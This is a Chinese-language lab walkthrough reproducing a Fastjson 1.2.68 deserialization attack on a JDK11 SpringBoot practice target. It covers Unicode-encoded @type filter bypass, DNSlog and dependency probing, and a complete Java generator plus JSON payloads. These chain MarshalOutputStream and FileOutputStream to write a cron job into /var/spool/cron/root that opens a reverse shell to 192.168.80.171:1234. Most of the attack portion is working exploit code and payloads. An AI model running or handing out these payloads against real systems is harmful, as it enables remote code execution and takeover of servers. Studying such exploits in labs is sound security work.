参考:https://github.com/lemono0/FastJsonPart
主打一个过程复现,理解漏洞利用流程,网上很多大佬的文章,文章写的很好,但作为基础学习还是不够(特别是用 idea 编译 java 文件,如何解决依赖等基础问题,-__-|.),所以就把自己复现过程的流程写下。
07-1268-jkd11-writefile#
抓包,删除括号,判断 fastjson 的版本
dnslog 探测 fastjson,发现被过滤了
将 @type 进行 unicode 编码
{
"\u0040\u0074\u0079\u0070\u0065": "java.net.InetSocketAddress" {
"address": ,
"val": "1bdmkeljntnmdy5h5nf3h571tszjn9by.oastify.com"
}
}
接受到 dnslog 请求
探测版本
{
"\u0040\u0074\u0079\u0070\u0065": "java.lang.AutoCloseable"
探测依赖
{
"x": {
"\u0040\u0074\u0079\u0070\u0065": "java.lang.Character"{
"\u0040\u0074\u0079\u0070\u0065": "java.lang.Class",
"val": "java.net.http.HttpClient"
}
}
返回 can not cast to char
代表存在 java.net.http.HttpClient
,即为 JDK11。
org.springframework.web.bind.annotation.RequestMapping
是 SpringBoot 特有的类,所以靶场环境是 SpringBoot 环境。
{
"x": {
"\u0040\u0074\u0079\u0070\u0065": "java.lang.Character"{
"\u0040\u0074\u0079\u0070\u0065": "java.lang.Class",
"val": "org.springframework.web.bind.annotation.RequestMapping"
}
}
确定了使用的 JDK11,便可无限制写入文件。采用写入计划任务反弹 shell。
生成 exp 文件,jdk11.java
import com.alibaba.fastjson.JSON;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Arrays;
import java.util.Base64;
import java.util.zip.Deflater;
public class jdk11 {
public static String gzcompress(String code) {
byte[] data = code.getBytes();
byte[] output = new byte[0];
Deflater compresser = new Deflater();
compresser.reset();
compresser.setInput(data);
compresser.finish();
ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
try {
byte[] buf = new byte[1024];
while (!compresser.finished()) {
int i = compresser.deflate(buf);
bos.write(buf, 0, i);
}
output = bos.toByteArray();
} catch (Exception e) {
output = data;
e.printStackTrace();
} finally {
try {
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
compresser.end();
System.out.println(Arrays.toString(output));
return Base64.getEncoder().encodeToString(output);
}
public static void main(String[] args) throws Exception {
String code = gzcompress("* * * * * bash -i >& /dev/tcp/192.168.80.171/1234 0>&1 \n");
//<=1.2.68 and JDK11
String payload = "{\r\n"
+ " \"@type\":\"java.lang.AutoCloseable\",\r\n"
+ " \"@type\":\"sun.rmi.server.MarshalOutputStream\",\r\n"
+ " \"out\":\r\n"
+ " {\r\n"
+ " \"@type\":\"java.util.zip.InflaterOutputStream\",\r\n"
+ " \"out\":\r\n"
+ " {\r\n"
+ " \"@type\":\"java.io.FileOutputStream\",\r\n"
+ " \"file\":\"/var/spool/cron/root\",\r\n"
+ " \"append\":false\r\n"
+ " },\r\n"
+ " \"infl\":\r\n"
+ " {\r\n"
+ " \"input\":\r\n"
+ " {\r\n"
+ " \"array\":\"" + code + "\",\r\n"
+ " \"limit\":1999\r\n"
+ " }\r\n"
+ " },\r\n"
+ " \"bufLen\":1048576\r\n"
+ " },\r\n"
+ " \"protocolVersion\":1\r\n"
+ "}\r\n"
+ "";
System.out.println(payload);
JSON.parseObject(payload);
}
}
生成 payload
注意:
在写入计划任务时,有几个需要注意的点:
-
linux 本身系统限制,首先 centos 和 ubuntu 系列是不同的,写入文件位置、命令方式均有区别,这里因为是 centos 系统,所以写入到
/var/spool/cron/root
文件下,而 ubuntu 系统则应该写入到/etc/crontab
系统级计划任务下,而不是/var/spool/cron/crontabs/root
文件下,因为该方式将会涉及到改权限、计划任务服务重启的操作。 -
通过这种文件写入漏洞写入计划任务时,需要在命令的后面加上换行操作,保证该命令为完整的一行,否则不会反弹成功。
{
"\u0040\u0074\u0079\u0070\u0065":"java.lang.AutoCloseable",
"\u0040\u0074\u0079\u0070\u0065":"sun.rmi.server.MarshalOutputStream",
"out":
{
"\u0040\u0074\u0079\u0070\u0065":"java.util.zip.InflaterOutputStream",
"out":
{
"\u0040\u0074\u0079\u0070\u0065":"java.io.FileOutputStream",
"file":"/var/spool/cron/root",
"append":false
},
"infl":
{
"input":
{
"array":"eJzTUtCCQoWkxOIMBd1MBTs1Bf2U1DL9kuQCfUNLIz1DMws9CwM9Q3NDfUMjYxMFAzs1QwUuAHKnDGw=",
"limit":1999
}
},
"bufLen":1048576
},
"protocolVersion":1
}
需要在 limit 处写入文件内真实数据的长度,这个长度会因为一些处理导致并不是我们写入计划任务命令的长度,这里方法同样是利用到报错,先将 limit 值尽量设置较大,fastjson 会因为偏移位置不对爆出正确的数据偏移,即这里的 59,所以 59 才是真实的数据长度。
{
"\u0040\u0074\u0079\u0070\u0065":"java.lang.AutoCloseable",
"\u0040\u0074\u0079\u0070\u0065":"sun.rmi.server.MarshalOutputStream",
"out":
{
"\u0040\u0074\u0079\u0070\u0065":"java.util.zip.InflaterOutputStream",
"out":
{
"\u0040\u0074\u0079\u0070\u0065":"java.io.FileOutputStream",
"file":"/var/spool/cron/root",
"append":false
},
"infl":
{
"input":
{
"array":"H4sIAAAAAAAAANNS0IJChaTE4gwF3UwFOzUF/ZTUMv2S5AJ9Q0sjPUMzCz0LAz1Dc0N9QyNjEwUDOzVDBS4AGWjIeTkAAAA=",
"limit":59
}
},
"bufLen":1048576
},
"protocolVersion":1
}
反弹会 shell